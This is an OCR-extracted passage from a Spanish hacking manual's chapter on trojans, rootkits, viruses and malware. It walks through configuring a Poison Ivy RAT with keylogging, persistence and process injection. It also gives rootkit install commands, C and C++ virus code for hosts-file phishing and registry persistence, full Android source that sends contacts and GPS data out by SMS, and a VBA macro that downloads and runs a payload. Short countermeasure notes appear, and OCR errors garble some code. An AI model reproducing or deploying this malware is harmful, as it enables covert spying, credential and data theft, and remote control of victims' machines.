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6.4.2.5 COMPROBACION

Para comprobar si el fichero ha sido infectado correctamente puede
ejecutarlo en un ordenador y vera que la aplicacion original aparece correctamente.
Pero si pulsa las teclas para ver el keylogger (que por defecto es Ctrl + Alt + L)
podra ver que el programa funciona correctamente.

Si desea comprobar que el sistema ha sido infectado puede ir al registro del
sistema y ver que el programa se inicia automaticamente (véase la figura 6.21). Si
durante el proceso de configuracion ha indicado que no se cargue en el registro,
entonces no aparecera en el inicio aunque si arranca automaticamente.

= Autoruns [PRUEBA-39A17D5A\usuario] - Sysinternals: www.sysinternals.com [BET]
File Entry Options User Help
HdREAIXE

™ Image Hiiacks | %] Appinit | [%] KnownDLLs | & Winlogon | @ Winsock Providers | 33 Print Monitors | ¥ LSA Providers | & Network Providers
O Eveyiting | &4 Logon | Explorer | @ Intemet Explorer | () Scheduled Tasks | &b Sewices | 8 Diivers | [ Boot Evecute

| Autorn Entry Description Publisher Image Path
& HKLM\System\CurrentControlSet\ControhT: ar
=1 rdpcip FIDP Ciip Monitor Microsoft Corporation c:\windowssystem32dpel.
HEKLE NTAC
™ CAWINDOWS... Aplicacion de inicio de sesi.. Microsoft Corporation c\windows\system32\useri.
HKL!
W Explorerexe  Explorador de Windows Microsoft Corporation c\windowshexplorer.exe
HEL
L0 ok o \wind n32\bpk.
UsetFaultCheck Windows Eror Reporting ... Microsolt Corporation \windows\system32\dum
VMware Tools  VMwareTray VMware, Inc. c\archivos de programaty.
[ VMware User .. VMwareUser YMware, Inc. c\archivos de programaty.
bk exe See 3K
m Time:  21/09/200617:37
Fleady.

Figura 6.21. Autoruns de Wininternals

Si pasa el fichero por un antivirus es posible que lo detecte. En la
figura 6.22, puede ver como a través de www.virustotal.com se ha analizado el
fichero con un total de 32 antivirus y el keylogger ha sido detectado por el 56% de
los antivirus. Este dato es bastante significativo, pero como se vera mas adelante
puede utilizar un editor hexadecimal para modificar el fichero y que resulte
practicamente indetectable por los antivirus.
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Figura 6.22. Deteccion del keylogger con Virus Total

6.4.3 Contramedidas

Para evitar ser infectado por un troyano debe realizar las siguientes
medidas:

e No utilice nunca la cuenta de administrador para trabajar normalmente.
Utilice un usuario sin privilegios.

e No ejecute nunca aplicaciones que le envien por email, chat o cualquier
otro medio.

e Utilice siempre un antivirus y cortafuegos.

6.5 TROYANOS

6.5.1 Introduccion

Se denomina troyano (o Caballo de Troya, traduccion mas fiel del inglés
Trojan horse, aunque no tan utilizada) a un programa malicioso capaz de alojarse
en el equipo y permitir el acceso a usuarios externos, a través de una red local o de
Internet, con el fin de recabar informacion o controlar remotamente a la maquina
anfitriona.



204 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

Un troyano no es en si un virus ain cuando tedricamente pueda ser
distribuido y funcionar como tal. La diferencia fundamental entre un troyano y un
virus consiste en su finalidad. Para que un programa sea un "troyano" solo tiene
que acceder y controlar la maquina anfitriona sin ser advertido, normalmente bajo
una apariencia inocua. Al contrario que un virus, que es un huésped destructivo, el
troyano no necesariamente provoca daios ya que ése no es su objetivo.

Suele ser un programa pequefio alojado dentro de una aplicacion, una
imagen, un archivo de musica u otro elemento de apariencia inocente, que se
instala en el sistema al ejecutar el archivo que lo contiene. Una vez instalado
parece realizar una funcion util (aunque cierto tipo de troyanos permanecen ocultos
y por tal motivo los antivirus o antitroyanos no los eliminan) pero internamente
realiza otras tareas de las que el usuario no es consciente, de igual forma que el
Caballo de Troya que los griegos regalaron a los troyanos.

Habitualmente se utilizan para espiar, usando la técnica para instalar un
software de acceso remoto que permite monitorizar lo que el usuario legitimo de la
computadora hace (en este caso el troyano es un spyware o programa espia) y, por
ejemplo, capturar las pulsaciones del teclado con el fin de obtener contrasefias
(cuando un troyano hace esto se le cataloga de keylogger).

Lo peor de todo es que tltimamente los troyanos estan siendo disefiados de
tal manera que es imposible poder detectarlos excepto por programas que a su vez
contienen otro tipo de troyano, inclusive y aunque no confirmado, existen troyanos
dentro de los programas para poder saber cudl es el tipo de uso que se les da y
poder sacar mejores herramientas al mercado llamados también "troyanos
sociales".

6.5.1.1 PARTES DE UN TROYANO

Los troyanos estan compuestos principalmente por dos programas: un
cliente (es quién envia las funciones que se deben realizar en la computadora
infectada) y un servidor (recibe las ordenes del hacker y las realiza en la
computadora infectada). También hay un archivo secundario llamado Libreria (con
la extension *.dll) - todos los troyanos no lo tienen, de hecho los mas peligrosos no
lo tienen - que es necesaria para el funcionamiento del troyano, pero no se debe
abrir, modificar ni eliminar. Algunos troyanos también incluyen el llamado
EditServer, que permite modificar el servidor para que haga en el ordenador de la
victima lo que el cracker quiera.
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6.5.1.2 TIPOS DE TROYANOS

Los troyanos de conexion directa son aquellos que hacen que el cliente se
conecte al servidor; a diferencia de estos, los troyanos de conexion inversa son los
que hacen que el servidor sea el que se conecte al cliente; las ventajas de este son
que traspasan la mayoria de los firewall y pueden ser usados en redes situadas
detras de un router sin problemas. El motivo de por qué este obtiene esas ventajas
es que la mayoria de los firewall no analizan los paquetes que salen de la
computadora infectada, pero que si analizan los que entran (por eso los troyanos de
conexion directa no poseen tal ventaja); y se dice que traspasan redes porque no es
necesario que se redirijan los puertos hacia una computadora de la red.

Los troyanos, aunque algunos son ejemplos inofensivos, casi siempre se
disefian con propositos dafiinos. Se clasifican segiin la forma de penetracion en los
sistemas y el dafio que pueden causar. Los ocho tipos principales de troyanos segin
los efectos que producen son:

e Acceso remoto.
e Envio automatico de emails.

e Destruccion de datos.

e Troyanos proxy, que asumen ante otras computadoras la identidad de la
infectada.

e Troyanos FTP que afiaden o copian datos de la computadora infectada.
e Deshabilitadores de programas de seguridad (antivirus, cortafuegos...).
e Ataque DoS a servidores (denial-of-service) hasta su bloqueo.

e Troyanos URL (Que conectan a la maquina infectada a través de
conexiones de mdédem, normalmente de alto coste).

6.5.2 Primeros pasos
6.5.2.1 PRIMEROS PASOS

A continuacion se va a realizar un troyano de conexion directa. Es decir, el
troyano se conectara a nuestro servidor indicandonos que el equipo se encuentra
activo. Como es logico para que el troyano se pueda conectar a nuestro servidor
necesita conocer nuestra direccion IP o nombre de dominio.
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Como estos datos son muy peligrosos como para ponerlos en un troyano ya
que alguien puede localizarlo, se recomienda utilizar el servicio www.no-ip.com
para utilizar direcciones IP dindmicas.

€ B @ y noip.com \Na*r¢vdBooy 8- o5 P * BB ¢

0 noip

s with Enhanced

Dynamic IP Address? Point it to a static hostname
for easy remote access.

Frhance My DNS Now

Figura 6.23. www.no-ip.org

6.5.2.2 CREAR EL TROYANO

El primer paso que debe realizar es crear el troyano para mds tarde poder
infectar un fichero. Para crear el troyano hay que tener en cuenta que el servidor lo
va a utilizar para infectar el equipo, y el cliente lo utiliza para conectarse al
servidor.

Poison lvy es una herramienta que permite configurar y generar el troyano
que actia como cliente y como servidor. Para realizar el troyano debe realizar los
siguientes pasos:

e Descargue Poison lvy de la pagina www.poisonivy-rat.com.
e Descomprima el fichero en una carpeta vacia. Para poder trabajar con
Poison debe desactivar el antivirus porque sino lo detecta como software

malicioso y lo elimina automaticamente.

e Ejecute Poison, acepte los términos de la licencia y aparecera la pantalla
principal (véase la figura 6.24).
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File Preferences Window Help

Version2.3.0 Nr.of Ports; 0 Nr. of Plugins: 1 M. of Conections: 0

Figura 6.24. Poison lvy

Ahora para generar el servidor que utilizara para infectar un equipo debe
realizar los siguientes pasos:

e Abra el menu File y seleccione la opcién New Server.
e Pulse el boton Create Profile.

e En la pantalla que aparece en la figura 6.25 en la casilla DNS/port
escriba la direccion IP o el nombre DNS (preferiblemente a través de
www.no-ip.org) junto al puerto que utilizara el troyano. Para el puerto
que utiliza el troyano puede indicar un puerto alto superior al 1024 o
utilizar un puerto de trafico valido (por ejemplo, 80).

Escriba el /D que es el nombre predeterminado que tendra la victima al
conectarse. Escriba el Password y pulse Next.

Poison Ivy
Connection [troyan]

Pl onsat 1270013680, | iad
I Comect Thiough Prowy
& DNS/Port |
Comection

I HiackPray (3
T Persistent (keep tying undfound)
[} oyan
G -
Passwod | adnn ' Hid Password
T Use Key File

D Cancel Next =

Version 2.3.0 Nr.of Portsi 0 N, of Plugns: 1 Nr. of Connections: 0

Figura 6.25. Poison lvy - New Server - Create profile
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e En la pantalla que aparece en la figura 6.26 debe realizar las siguientes
operaciones:

— Active la casilla ActiveX Startup y pulse el boton Random para que el
troyano se guarde en el registro de forma oculta.

— Seleccione la casilla Copy File y Windows Folder para que el troyano
se copie automaticamente en el directorio de Windows. Escriba en
filename el nombre con el que se copiara el troyano en el sistema.

— Active la casilla Key logger (registrador de teclado) y Persistence.

—  Pulse Next.

Poison Ivy
Install [troyan]

&
Profiles ¥ ' ActiveX Startup:  {81381091-0F42.52FD-6107-932 | |7 Random

¥ Copy Fie

& Filename: oan.exe]

Connection
€ System Folder

& Windows Folder

" I Melt
Instal 17 [ e
¥ Pessstence

Advanced

Buid

 Cancel 4 Generate  Next =

Version2.3.0 Nr.ofPorts:0  Nr.of Plugins: 1 Nr. of Connections: 0

Figura 6.26. Poison lvy - New Server - Install

e En la pantalla que aparece en la figura 6.27 active la casilla Inject into a
custom process y escriba el nombre del proceso a infectar iexplorer.exe
para que el trafico del troyano salga por Internet Explorer y de esta
forma se camufle con el trafico web valido. Pulse Next.



© RA-MA CAPITULO 6. HACKING DE APLICACIONES 209

Poison Ivy

Advanced [troyan]

@
Pofes ProcessMutex | Woshld | @

Key Logger Mutex: | VLC9032Ca |

&

IV Inject into a custom process (L)
Connection

Process: explorer.exe

Fomat:
(<XPE
€ Shellcode
@ Binay
€ Chnay
© Delphi Anay
© Python Anay

Install

Advanced

€ Cancel Next =

Version 2.3.0 Nr. of Ports: 0 Nr. of Plugins: 1 Nr, of Connections: 0

Figura 6.27. Poison lvy - New Server - Advanced

e Finalmente en la pestafia Build pulse el boton Generate y escriba el
nombre del fichero ejecutable donde se guardara el troyano.

6.5.2.3 CONECTARNOS A UN EQUIPO INFECTADO

Para conectarnos al equipo infectado tenemos que ejecutar el cliente en el
equipo donde hemos indicado que van las peticiones del troyano y esperar a que los
equipos infectados se conecten a nosotros.

Para iniciar el cliente debe realizar los siguientes pasos:

e Ejecute Poison lvyy en el menu File seleccione la opcion New Client.

e En la pantalla que aparece introduzca el puerto de escucha y la
contrasefla que utiliza el troyano. Pulse Start.
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[ Promt o passwor on new cormecion

Gatnont R oo [ Hide Password

OUseKeyFie

Verson23.0 N, of Portsi 0 Ne,of Poinst 1 . of Cornections: 0

Figura 6.28. Poison lvy - New Client

Poison vy - [New Client] FE®
_ @ x

Ahora tan solo falta esperar y vera que al cabo de unos instantes los
equipos infectados se van conectando automaticamente en nuestro

cliente (véase la figura 6.29).

En la pantalla que aparece introduzca el puerto de escucha y la

contrasefla que utiliza el troyano. Pulse Start.

Para utilizar cualquier equipo tan solo debe pulsar dos veces sobre el
equipo y en la pantalla que aparece en la figura 6.30 seleccionar la

opcion deseada.

Poison Ivy - [Listening on Port: 3460 (Connections: 1)] =15
i Fie. Preferences Windon Help - x
Connectons | Stacs | Selings

[} waN AN ConTwe Compuler  UseiName  AccTyps 05 CPU RAM Ver
) voyn 1168117 19216, Diect  PRUEBAJ. usuaio adnn WP 20MH:  248ME 23
< s
Verson2.3.0 v of Potsi | I of Pigns 1 N, of Connections: 1

Figura 6.29. Poison lvy - Clientes conectados
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Figura 6.30. Poison Ivy - Cliente infectado

6.5.3 Contramedidas

La mejor defensa contra los troyanos es no ejecutar nada de lo cual se
desconozca el origen y mantener software antivirus actualizado y dotado de buena
heuristica; es recomendable también instalar algiin software antitroyano, de los
cuales existen versiones gratis aunque muchas de ellas constituyen a su vez un
troyano. Otra solucion bastante eficaz contra los troyanos es tener instalado un
firewall.

Otra manera de detectarlos es inspeccionando frecuentemente la lista de
procesos activos en memoria en busca de elementos extrafios, vigilar accesos a
disco innecesarios, etc.

6.6 ROOTKITS

Los Rootkits son un conjunto de herramientas que son usadas una vez que
se ha conseguido entrar en un sistema, es decir, cuando ya se ha obtenido una
cuenta de root, de ahi su nombre.
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Los objetivos que persiguen estas herramientas son principalmente:

Ocultacién. Buscan hacerse indetectables tanto ellas mismas como otras
herramientas u acciones llevadas a cabo por el intruso. Este fue el inicio
de los Rootkits que en sus comienzos conseguian hacer que las
actividades del intruso fueran imperceptibles para el usuario propietario
del sistema mediante la recompilacion de comandos como ps, netstat o
passwd.

Control del sistema. Facilitan las futuros entradas del atacante al
sistema con privilegios de root, esto lo hacen ademas de modificando
comandos dejando puertas traseras abiertas en el sistema. Ademads
permite utilizar los ordenadores infectados como base para realizar
ataques a otros sistemas.

Obtencion de datos. Pueden incluir herramientas para interceptar datos
de los terminales, de la red o incluso algun keylogger que capture y
almacene las pulsaciones del teclado.

Existen diferentes tipos de rootkits dependiendo de la parte del sistema que

modifican:

Kits de librerias. Hacen uso de librerias del sistema para contener
troyanos.

Kits de aplicaciones. Sustituyen ciertos ficheros, ejecutables del
sistema, bien sustituyéndolos o usando hacks, parches o cddigo
inyectado.

Kits del nucleo. Seguramente los mas peligrosos ya que actuan desde el
kernel afiadiendo o modificando alguna parte de dicho nucleo (p.e.
ocultar una puerta trasera). Pueden afiadir nuevo codigo al kernel
mediante un controlador o un modulo y suelen parchear las llamadas al
sistema con versiones que ocultan la actuaciones del intruso. Algunos
ejemplos de Rootkits basados en el ntcleo de Linux son: Rial, Heroin,
Afhrm, Synapsis, Adore, Knark, Itf o Kis.

6.6.1 Instalacion y configuracion de un rootkit

Lo primero que necesite para instalar cualquier rootkit es tener acceso

como root al sistema a infectar, una vez ha conseguido esto, sea por el método que
sea, instale el rootkit para tener en un futuro un acceso mas fécil al servidor, ocultar
nuestros actos, modificar programas, etc.
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A continuacion se va a utilizar el Rootkit audpbackdoor que es una
aplicacion cliente/servidor escrita en per/ que nos proporciona un terminal como
root con gran facilidad. El proceso de instalacion es el siguiente:

Descargue audpbackdoor.tar.gz de  http://packetstormsecurity.org/ 'y
realice los siguientes pasos:

$ tar xvfz audpbackdoor.tar.gz

$ mv audpserver </ruta/nombreInofensivo>
$ mv audpbackdoor /usr/bin/configtar
Seguidamente afada la linea:

/usr/bin/configtar &

al fichero /etc/rc.local.

Una vez que finalizada la instalacion del Rootkit, el siguiente paso es
preparar el acceso desde un ordenador remoto, para lo cual debe realizar los pasos
que se muestran a continuacion. Lo primero que hay que hacer es descargar el
archivo audpbackdoor.tar.gz de la pagina: http://packetstormsecurity.org/

Posteriormente ejecute:
$ tar xvfz audpbackdoor.tar.gz
# ./audpclient -s <IPInfectada> -p 520

Con esto conseguira un terminal como root cada vez que lo desee.

6.6.2 Contramedidas

La deteccion de Rootkits puede ser algo complicado ya que uno de los fines
de los mismos es el de ocultarse y puede que el sistema muestre informacion
erronea o incompleta, por ejemplo una lista de procesos en la que no aparezca el
intruso.

Teniendo en cuenta esto podemos llevar a cabo varias estrategias:
e Cargar el sistema de ficheros desde un sistema externo como podria ser

una LiveCD, asi el Rootkit no tendria la capacidad de ocultarse ya que el
sistema que domina no esta activo.
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e Utilizar programas para comprobar la integridad de los ficheros
utilizando firma digital. Para ello podemos utilizar Tripwire
(www.tripwire.org).

e Realizar un escaneado de puertos para asi poder detectar si hay puertos
abiertos a servicios funcionando distintos de los que el administrador del
sistema ha habilitado.

e Hacer uso de herramientas como Chkrootkit (http://www.chkrootkit.org),
que es un shell script que busca ficheros modificados por los Rootkits.

6.7 VIRUS

El primer virus que atacé a una maquina IBM Serie360 (y reconocido
como tal), fue llamado Creeper, creado en 1972 por Robert Thomas Morris. Desde
entonces hasta la actualidad han surgido muchos tipos de virus cada vez mas
sofisticados que a veces son inofensivos ya que solo muestran un mensaje al
usuario y otras son un poco mas destructivos y eliminan informacion de nuestro
disco duro o incluso borran la tabla de particiones del equipo.

En general la estructura de un virus es muy sencilla ya que tan solo es un
programa “dafiino” que suele infectar ficheros ejecutables aunque también existen
virus para imagenes o videos.

Tal y como muestra la figura 6.31 cuando un virus infecta un ejecutable, el
virus se infecta al final de fichero y cambia el punto de entrada de la aplicacion
para que primero se ejecute el virus y luego se ejecute la aplicacion normalmente.

Archive Limpio

Entry Point

| Cuerpo
Principal
del

es ol tamafio

Figura 6.31. Esquema de un fichero infectado
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6.7.1 Ejemplo de un virus

Existen muchos tipos de virus dependiendo de su funcionalidad pero
béasicamente se define virus como un programa malicioso que realiza o dafia el
equipo de un cliente.

En el fragmento de cddigo! puede ver un ejemplo sencillo de virus en que
se modifica el fichero c:/Windows/system32/drivers/etc/host para que cuando un
cliente se conecte a la pagina de www.google.es muestre la pagina del servidor web
la Universidad de Almeria cuya IP es 150.214.156.62. Existen muchos tipos de
virus que persiguen que cuando un cliente se conecte a la pagina de su banco el
sistema le redireccione al servidor de atacante para registrar las contrasefias del
cliente (phising).

Si compilamos el programa y lo escaneamos con un antivirus o a través de
la pagina web www.virustotal.com puede ver que el virus es indetectable. Los
antivirus detectan los virus por su firma, y como nuestro virus no se encuentra en
sus bases de datos es indetectable.

Cadigo 1. Ejemplo sencillo de virus (phising)

#include <stdio.h>
int main(void) {

FILE *£fd;

char cadena[100]="\n150.214.156.62 www.google.es\n";
fd=fopen ("c:\\windows\\system32\\drivers\\etc\\hosts", "a") ;
fwrite (&cadena, sizeof (cadena), 1, £fd);

fclose (£4) ;
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} VIRUS
TOTAL

JrRE——

Figura 6.32. www.virustotal.com

Una de las formas que existen para que un virus se ejecute siempre al
arrancar es crear una entrada en el registro HKLM\Sofiware\Microsoft\Windows|
CurrentVersion\Run. Para hacer que el virus se ejecute automaticamente puede
ejecutar el siguiente comando:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
datos /t REG_SZ /d virus.exe

siendo datos el nombre de la etiqueta del registro y virus.exe el nombre del fichero
ejecutable. En la figura 6.33 puede ver el registro del sistema con la entrada del
virus. Logicamente, el objetivo es que el virus se propage y se ejecute
automaticamente en el sistema.

4| nortee Teo
) REGSZ

Recsz

Rec sz
Rec sz

Figura 6.33. Virus en el registro
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A continuaciéon se muestra un ejemplo de un virus que se copia
automaticamente en el sistema y modifica el registro para ejecutarse
automaticamente.

Cédigo 2. Ejemplo sencillo de virus (apagado automatico del equipo)

#include <iostream>
using namespace std;
int main(void)

system ("copy SDForce.exe
%systemroot%\\system32\\SDForce.exe") ;
system ("REG ADD
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v
winUpdate /t REG_SZ /d SDForce.exe /f");

system("shutdown -s -t: 0 -f"); //para que de tiempo a
kitarlo en -t: 10 o 100..
//con poner shutdown -a se desactiva el apagado.

return 0;

Una vez creado el virus el siguiente paso es infectar un fichero para que
primero se ejecute el virus y luego se ejecute normalmente el ejecutable (joiners).
En la figura 6.34 puede ver el joiner Calimocho.

& calimocho - Joiner Copyleft XAN & QuoVadis 2000-2002 X

Especifica los 2 archivos que quieres unir, no es necesario que los archivos sean
ejecutables, puedes poner una foto y esta se abrira con el programa necesatio.

Archivos de origen

Archivo 1: i]
[IEjecutar este archiva de forma oculta

Archivo 2: & J
[JEjecutar este archivo de forma ocuta -

Archivo que vas a generar

¢ Haz clic en el icono de la izquierda para cambiar el icono que tendrd
= el ejecutable reultante que crees.

[T Comprinir el archivo generado utiizando UPX (e reduce el tamafio un 50%)

[ wformacen | [ presande |

Figura 6.34. Joiner Calimocho
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6.7.2 Generadores de virus

Ademas de poder hacer el virus de forma artesanal, en Internet existen
muchos joiners que permite realizar un virus de una forma sencilla siguiendo tan
solo un menu. En la figura 6.35 puede ver el generador de virus Deninso.

Figura 6.35. Generador de virus DVG

Otra forma de hacer un virus es modificar uno ya existente. Para ello puede
descargarse la coleccion de virus VX heavens (http://vw.netlux.org).

O Welcome! (VX heavens) - Mozilla Firefox

Archivo Edter Yer Higtorid Marcadores Herramientas Ayuda

'c T (M et netoxonat -] (G

@ Comenzar & usar Firef . (1 (ktimas noticias

VX Heavens

Home Ugload Library Collection Sources Engines Constructors Simulators Utlfies Links Wanted! AV Check?

Welcome!

"Everyone has the right to freedom of opinion and expression;
this right includes freedorm to hold opinions without interference
and 10 seek, receive and impart informetion end ideas througt
any media and regardliess of frontiers ”
Adicle 18 of *Universal Declaration of Human Rights™

Welcome to VX Heavens! This site is dedicated to providing
information about computer viruses (or viri, as some would prefer) to
anyone who s interested in this topic.

This site contains a massive, continuously updated collection of
magazines, virus samples, virus sources, poymorphic engines, virus
generators, virus writing tutorials, articles, books, news archives etc.

Some of you might reasonably say that it is illegal to offer Such
content on the net. Or that this information can be misused by
“malicious people”. | only want to ask that person: “Is ignorance &
defence?”

What's new (Nov)

12+ LIB/RU: Alexandr Adrianov "Interview with LovinGOD'®
) Site history

Terminado

Figura 6.36. Coleccion de virus http.//vx.netlux.org
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6.8 MALWARE PARA ANDROID

Suponga que tiene acceso a un dispositivo de forma fisica o mediante
ingenieria social puede hacer que la victima instale una determinada aplicacion
(APK). Para demostrar la debilidad de un posible antivirus instalado en el
dispositivo y las enormes posibilidades de extraccion de informacion que ofrece
Android, se muestra un ejemplo bésico en que se extrae informacion de la agenda
de contactos de la victima y transmite las coordenadas GPS del dispositivo.

Nota

Fﬂ A continuacion se muestra el coédigo necesario para realizar la

aplicacion. El objetivo de la seccion no es aprender a programar en

Android si no ver lo sencillo que es crear una aplicacion para extraer

informacion de un dispositivo. Si desea informacion sobre Android puede
consultar paginas como http://www.androidsnippets.com/.

El codigo malicioso se inserta en el archivo principal (Mainactivitiy.java)
dentro de la funcion oncreate(). El acceso a los contactos del dispositivo, para
después utilizarlos, se realiza de la siguiente forma:

ArrayList<HashMap<String, String>> agenda = getContacts();
for (HashMap<String, String> map : agenda)
for (Map.Entry<String, String> mapEntry :
map.entrySet()) {
key = mapEntry.getKey() ;
value = mapEntry.getValue();
datos = datos + "--" + key + ":" + value;

}

private ArrayList<HashMap<String, String>> getContacts() {
ContentResolver cr = getContentResolver();
Cursor cCur =
cr.query (ContactsContract.Contacts.CONTENT URI, null, null,
null, null);
Cursor pCur =
cr.query (ContactsContract.CommonDataKinds.Phone.CONTENT URI,
null; null, null; null);

ArrayList<HashMap<String, String>> data = new
ArrayList<HashMap<String, String>>();

HashMap<String, String> contacts = new
HashMap<String, String>();
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while (cCur.moveToNext()) {

String id =
cCur.getString (cCur.getColumnIndex (ContactsContract.Contacts.L
OOKUP KEY)) ;

String name =
cCur.getString (cCur.getColumnIndex (ContactsContract.Contacts.D
ISPLAY NAME)) ;

contacts.put (id, name) ;

while (pCur.moveToNext()) {

String id =
pCur.getString (pCur.getColumnIndex (ContactsContract.Contacts.L
OOKUP KEY)) ;

String name = contacts.get (id);

String phone =
pCur.getString (pCur.getColumnIndex (ContactsContract.CommonData
Kinds.Phone.DATA)) ;

HashMap<String, String> h = new HashMap<String,
String> () ;

h.put ("name", name) ;

h.put ("phone", phone) ;

data.add (h);

pCur.close()
cCur.close()
return data;

i
i

La extraccion de las coordenadas GPS del dispositivo se realiza de la
siguiente forma:

LocationManager LC = (LocationManager)
getSystemService (Context.LOCATION SERVICE) ;
Criteria criteria = new Criteria();
provider = LC.getBestProvider (criteria, false);

Location loc =
LC.getLastKnownLocation (LocationManager .NETWORK PROVIDER) ;
if (loc != null) {
Toast.makeText (this, "Provider:" + provider,
Toast.LENGTH LONG) .show() ;
onLocationChanged (loc) ;
} else {
latitudeval.setText ("NO PROVIDER") ;

public void onLocationChanged (Location location) {
double lat = location.getLatitude();
double lon = location.getLongitude() ;
lati = String.valueOf (lat);
longi = String.valueOf (lon) ;
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Para finalizar el programa, la aplicacion envia un mensaje SMS con la
informacion obtenida:

phoneNo = "66666666";

sms = "Terminal Infectado: Datos Agenda:" + datos + "
Localizacion:"™ + " " + lati + " " + longi;

SmsManager smsManager = SmsManager.getDefault();

smsManager .sendTextMessage (phoneNo, null, sms, null, null);

El fichero mainactivity.java completo queda de la siguiente forma:

package Realpentester.Malware;
import android.app.Activity;

import android.content.*;

import android.database.Cursor;
import android.location.*;

import android.os.Bundle;

import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.widget.Button;

import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

import java.util.*;

public class Realpentester extends Activity {
private TextView latitudeval;
private String provider;
TextView txtEnviado;
public String key;
public String value;
public String datos = "";
public String phoneNo;
public String sms;
public String lati;
public String longi;

/**
* Called when the activity is first created.
*/
@Override
public void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
setContentView(R.layout.main) ;

txtEnviado = (TextView)
findViewById(R.id.txtEnviado) ;

LocationManager LC = (LocationManager)
getSystemService (Context.LOCATION SERVICE) ;

Criteria criteria = new Criteria();

provider = LC.getBestProvider (criteria, false);

Location loc =
LC.getLastKnownLocation (LocationManager .NETWORK PROVIDER) ;
if (loc != null)
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Toast .makeText (this, "Provider:" + provider,
Toast .LENGTH LONG) .show() ;
onLocationChanged (loc) ;
} else {
latitudeval.setText ("NO PROVIDER") ;

ArrayList<HashMap<String, String>> agenda =
getContacts() ;
for (HashMap<String, String> map : agenda) {
for (Map.Entry<String, String> mapEntry :
map.entrySet()) {
key = mapEntry.getKey () ;
value mapEntry.getValue() ;
datos datos + "--" + key + ":" + value;

}

//N° DE TELEFONO AL QUE SE ENVIAN LOS DATOS OBTENIDOS

phoneNo = "66666666";

sms = "Terminal Infectado: Datos Agenda:" + datos + "
Localizacion:"™ + "™ " 4+ lati + " " + longi;

SmsManager Manager = SmsManager.getDefault();

smsManager.sendTextMessage (phoneNo, null, sms, null,
null) ;

public void onLocationChanged (Location location) {
double lat = location.getLatitude() ;
double lon = location.getLongitude() ;
lati = String.valueOf (lat);
longi = String.valueOf (lon) ;

private ArrayList<HashMap<String, String>> getContacts()

ContentResolver cr = getContentResolver () ;
Cursor cCur =
cr.query (ContactsContract.Contacts.CONTENT URI, null, null,
null, null);
Cursor pCur =
cr.query (ContactsContract.CommonDataKinds.Phone.CONTENT URI,
null, null, null, null);
ArrayList<HashMap<String, String>> data = new
ArrayList<HashMap<String, String>>();
HashMap<String, String> contacts = new
HashMap<String, String>();
while (cCur.moveToNext()) {
String id =
cCur.getString (cCur.getColumnIndex (ContactsContract.Contacts.L
OOKUP KEY)) ;
String name =
cCur.getString (cCur.getColumnIndex (ContactsContract.Contacts.D
ISPLAY NAME)) ;
contacts.put (id, name);

while (pCur.moveToNext()) {
string id =
pCur.getString (pCur.getColumnIndex (ContactsContract.Contacts.L
OOKUP KEY)) ;
String name = contacts.get(id);
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String phone =
pCur.getString (pCur.getColumnIndex (ContactsContract.CommonData
Kinds.Phone.DATA)) ;

HashMap<String, String> h = new HashMap<String,
String> () ;

h.put ("name", name) ;

h.put ("phone", phone) ;

data.add (h) ;

pCur.close() ;
cCur.close() ;
return data;

Al instalar y ejecutar la aplicacion en un dispositivo Android se realiza la
consulta a la base de datos de la agenda, se obtiene un contacto de la agenda (por
no tener un mensaje extramadamente largo), se obtiene la posicion actual GPS y se
envian los datos via SMS (véase la figura 6.37).

Terminal

Infectado:6184

Datos Agenda:--
phone:608 --name:

Localizacion:
40.5154951 -3.6661749

Figura 6.37. Mensaje enviado

6.9 MALWARE PARA OFFICE

Cuando hay que realizar una auditoria con pruebas de ingenieria social en
ataques a clientes, una de las maneras mas efectivas es utilizar documentos Office
con macros. Mediante esta técnica, no se depende de ninguna vulnerabilidad de
software concreta, solo depende de que los usuarios abran el documento y acepten
las macros, cosa que aunque pueda parecer sorprendente se produce muy a
menudo.
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Figura 6.38. Microsoft Excel

Una vez el usuario final acepta la macro, se puede infectar al equipo
multiples formas. A continuacion se va a ver una forma sencilla de infectar un
equipo que consiste en que la macro descarga y ejecuta en el equipo una
determinada aplicacion.

El primer paso es realizar un programa en VBA (Visual Basic Application)
para que descargue y ejecute una aplicacion. Para ello, se clasifica los sistemas
operativos Windows en dos categorias dependiendo de si utilizan o no ASLR
(Address Space Layout Randomization). No utiliza ASLR Windows XP y los
sistemas operativos superiores utilizan ASLR.

Por lo tanto, la aplicacién va a comprobar si el sistema tiene ASLR y
dependiendo del resultado descarga una aplicacion u otra.

Ademas, también es posible querer tener persistencia en la sesion de
meterpreter. Para ello, se utilizan los scripts persistence y met_svc de meterpreter,
que manipulan, entre otras cosas, datos del registro. Finalmente, la aplicacion
comprueba si el ejecutable malicioso se encuentra en ejecucion. Si se encuentra en
ejecucion permite tener un shell del sistema.

A continuacion se muestra todo el proceso utilizando macros.

Cuando el usuario abre el documento y acepta la ejecucion de macros, se
ejecuta la funicion AutoOpen() que llama a la funcion OSVersion.

Sub AutoOpen ()
OSVersion
End Sub

La funcién OSVersion() comprueba el sistema operativo que se ejecuta.. Si
es Windows XP se llama a la funcion Dowload xp y en el caso contrario se ejecuta
la funcion Dowload 7 dependiendo del sistema operativo (si utiliza ASLR o no)
descarga un ejecutable u otro.
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Public Function OSVersion()

Set

SystemSet =

GetObject ("winmgmts:") . InstancesOf ("Win32 OperatingSystem")

For Each Sys In SystemSet
Version = Sys.Caption
Next
If InStr(Version, "XP") = 0 Then
Download 7 ‘'es distinto a winxp'
Else
Download xp 'es WinXP'
End If

Las funciones Download 7 y Download xp, utilizan winhttp para
descargar mediante Attp un recurso. Este recurso es un fichero jpg que se encuentra
en un servidor web. Se descarga el fichero jpg, se renombra a .exe en el directorio
c:\. Una vez descargado, se ejecuta llamando a la funcion RunFile y después llama
a la funcion Download 7 persist que realiza las acciones pertinentes para
proporcionar persistencia en el sistema.

Private Sub Download 7()

Dim
Dim
Dim
Dim
Dim

FileNum As Long
FileData() As Byte
MyFile As String
MyFile2 As String
WHTTP As Object

On Error Resume Next

Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5.1")

End If

MyFile = "http://192.168.1.100/met 7.jpg"

WHTTP.Open "GET", MyFile, False

